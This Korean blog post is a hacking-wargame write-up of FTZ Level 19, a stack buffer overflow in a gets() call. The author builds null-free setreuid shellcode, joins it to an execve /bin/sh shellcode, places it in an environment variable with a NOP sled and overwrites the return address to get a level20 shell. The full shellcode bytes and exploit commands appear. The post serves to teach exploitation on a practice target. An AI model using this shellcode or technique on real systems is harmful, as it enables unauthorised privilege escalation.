FTZ Level 19

bin3635·2021년 8월 10일
0

hint는 정말 짧다.

Level 18에서 엄청나게 긴 코드를 주더니 이번 문제에서는 달랑 5줄이다.
gets 함수를 사용하므로 문자열 길이를 체크하지 않고, 버퍼 오버플로우가 발생할 수 있다.
그러나 이전 문제와는 다르게 setreuid 함수조차 없다. 그러므로 setreuid 함수까지 포함한 쉘코드를 사용해야 한다.

코드를 다시 컴파일하고 gdb로 까보자.

<main+3>에서 스택에 0x28(40바이트)만큼의 공간을 할당하고 있다.
gets 함수가 호출되는 <main+23>의 윗부분을 살펴 보자.

<main+19>에서 [ebp-40]이 eax에 들어가고 있으므로 buf가 위치한 지점은 [ebp-40]이다.
buf가 20바이트를 차지하므로 dummy는 20바이트라는 것을 알 수 있다.
코드가 간단하기 때문에 스택 그림은 따로 그리지 않는다.

이제 쉘코드를 직접 만들어 보자.

인터넷에서 검색을 통해 알아낸 정보로는, setreuid 함수가 unistd.h에 정의되어 있다고 한다.
그래서 asm 디렉토리에 있는 unistd.h의 일부분을 가져왔다.

setreuid의 시스템 콜 번호가 70번으로 정의되어 있다. 즉 0x46이다.
그리고 id 명령어로 level19의 uid를 확인해 보니 3099이다. level20은 3100일 것이다.
혹시 몰라 /etc/passwd 파일도 확인해 보았는데 3100이 맞다.
setreuid 콜에서 3100을 인자로 줘야 하기 때문에 16진수로 변환하면 0xc1c이다.

이하는 다른 사이트를 참고했다.

쉘코드를 만들때 NULL 바이트가 있으면 문자열 형태로 쉘코드를 심을 때 중간에 끊겨버린다고 한다. 그래서 NULL 바이트를 없애는 것이 가장 중요하다.

기본적인 것은 EAX 레지스터의 하위 레지스터를 사용하는 것이다. 값보다 더 큰 레지스터를 사용하면 당연히 남은 공간은 NULL로 채워진다. 그러므로 예를 들어 1바이트를 넣을 경우 EAX의 하위 레지스터인 AX보다 더 작은 레지스터인 AL을 사용하면 된다.

그리고, 레지스터 전체를 0으로 만드려면 같은 레지스터를 XOR 연산하면 된다. 서로 같은 값이면 0이 되는 것을 이용한 것이다. 굳이 이 방법을 사용하는 이유는 mov로 직접 0x0을 넣으면 그대로 들어가고 남은 공간이 NULL로 채워지는 것은 똑같기 때문이다.

다음 어셈블리어 코드를 보자.

.global main

main:
    xor %eax, %eax
    mov $0x46, %al
    mov $0xc1c, %bx
    mov $0xc1c, %cx
    int $0x80

나는 AT&T 어셈블리어를 정말 싫어하지만, gcc가 구버전이기 때문에 어쩔 수 없이 써야 했다.

먼저 XOR 연산을 통해 eax 레지스터를 0으로 만들었다. 0x46은 1바이트이기 때문에 al에 넣었고, setreuid 함수의 인자가 ruid, euid 2개이기 때문에 0xc1c를 bx, cx 레지스터에 넣어 주었다.
마지막으로 0x80 인터럽트를 통해 시스템 콜을 실행한다.

eax 레지스터는 보통 프로그램이 종료될 때 안에 값이 남아 있으면 반환값으로 취급된다. 그리고 시스템 콜이 실행되는 시점에서 구분자로 eax 안에 든 값을 사용한다. 여기서는 setreuid의 시스템 콜 번호를 넣었기 때문에 결과적으로 setreuid 함수가 호출된 것이다.
남은 레지스터인 ebx, ecx 등은 순서대로 인자로 사용된다.

위 코드를 gcc로 컴파일하고 objdump로 깠다.

어셈블리어 옆에 있는 코드를 그대로 옮기면 된다.

\x31\xc0\xb0\x46\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xcd\x80

위 코드는 setreuid 하나만 실행하는 코드이기 때문에 이전 레벨에서 사용했던 25바이트 쉘코드의 앞부분에 그대로 합쳐주면 우리가 원하는 쉘코드가 된다.

따라서 사용할 쉘코드는 다음과 같다.

\x31\xc0\xb0\x46\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

이 쉘코드를 적절한 양의 NOP와 함께 환경 변수 SHL에 넣는다.

export SHL=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x46\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

다음 프로그램을 이용해 SHL의 주소를 찾자.

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("address: %p\n", getenv("SHL"));
    return 0;
}

5번 정도 실행하고 SHL의 주소가 0xbfffff60라는 것을 알았다.

공격은 buf 20바이트 + dummy 20바이트 + SFP 4바이트 = 44바이트를 의미 없는 문자로 채우고 남은 4바이트(=RET)에 환경 변수의 주소를 채울 것이다.

공격 명령어는 다음과 같다.

(python -c 'print "A"*44+"\x60\xff\xff\xbf"'; cat) | ./attackme

이번에도 아무 것도 안 뜨지만 id를 입력하니 Level 20의 쉘을 얻은 것을 확인할 수 있었다.

0개의 댓글